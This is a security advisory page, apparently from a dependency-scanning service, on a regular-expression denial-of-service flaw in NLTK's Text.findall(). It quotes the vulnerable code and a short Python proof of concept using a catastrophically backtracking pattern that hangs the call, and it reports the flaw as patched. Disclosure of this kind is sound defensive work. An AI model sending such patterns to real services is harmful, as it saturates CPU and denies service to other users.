PyPI · nltk
NLTK: ReDoS in nltk.text.Text.findall() via unvalidated user-supplied regular expressions
NLTK's Text.findall() and TokenSearcher.findall() methods accept user-supplied regular expressions and pass them to the Python re engine without timeout or validation, enabling catastrophic backtracking (ReDoS). This issue is isolated to the nltk.text module and was resolved in a prior commit.
nltk/text.py — TokenSearcher.findall() (line 255) / Text.findall() (line 620)
TokenSearcher.__init__ builds an internal string by wrapping each token in angle brackets. The findall() method preprocesses the caller-supplied regexp and runs it directly against this string with no timeout:
def findall(self, regexp):
# Preprocessing does NOT prevent catastrophic backtracking
regexp = re.sub(r"\s", "", regexp)
regexp = re.sub(r"<", "(?:<(?:", regexp)
regexp = re.sub(r">", ")>)", regexp)
regexp = re.sub(r"(?<!\\)\.", "[^>]", regexp)
# User-controlled regexp executed with no timeout
hits = re.findall(regexp, self._raw)
The preprocessing transforms < and > angle-bracket syntax but does not inspect or reject catastrophically backtracking patterns.
import nltk
import time
# Token of 25 'a' characters produces self._raw = "<aaaaaaaaaaaaaaaaaaaaaaaa!>"
# The trailing '!' ensures no match, forcing full backtracking.
text = nltk.Text(["a" * 25 + "!"])
# Pattern after transformation:
# < → (?:<(?:
# > → )>)
# Becomes: (?:<(?:((a+)+)b)>)
# re.findall runs this against "<aaaaaaaaaaaaaaaaaaaaaaaa!>" — hangs.
start = time.time()
text.findall(r"<((a+)+)b>") # Never returns
Applications that expose Text.findall() to external input are vulnerable to a denial of service. An unauthenticated attacker can cause indefinite CPU saturation with one request, denying service to all other users of the Python process.
This vulnerability was patched in commit d8e4753. Users should update to the patched version.
Tool: Kira by Offgrid Security
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.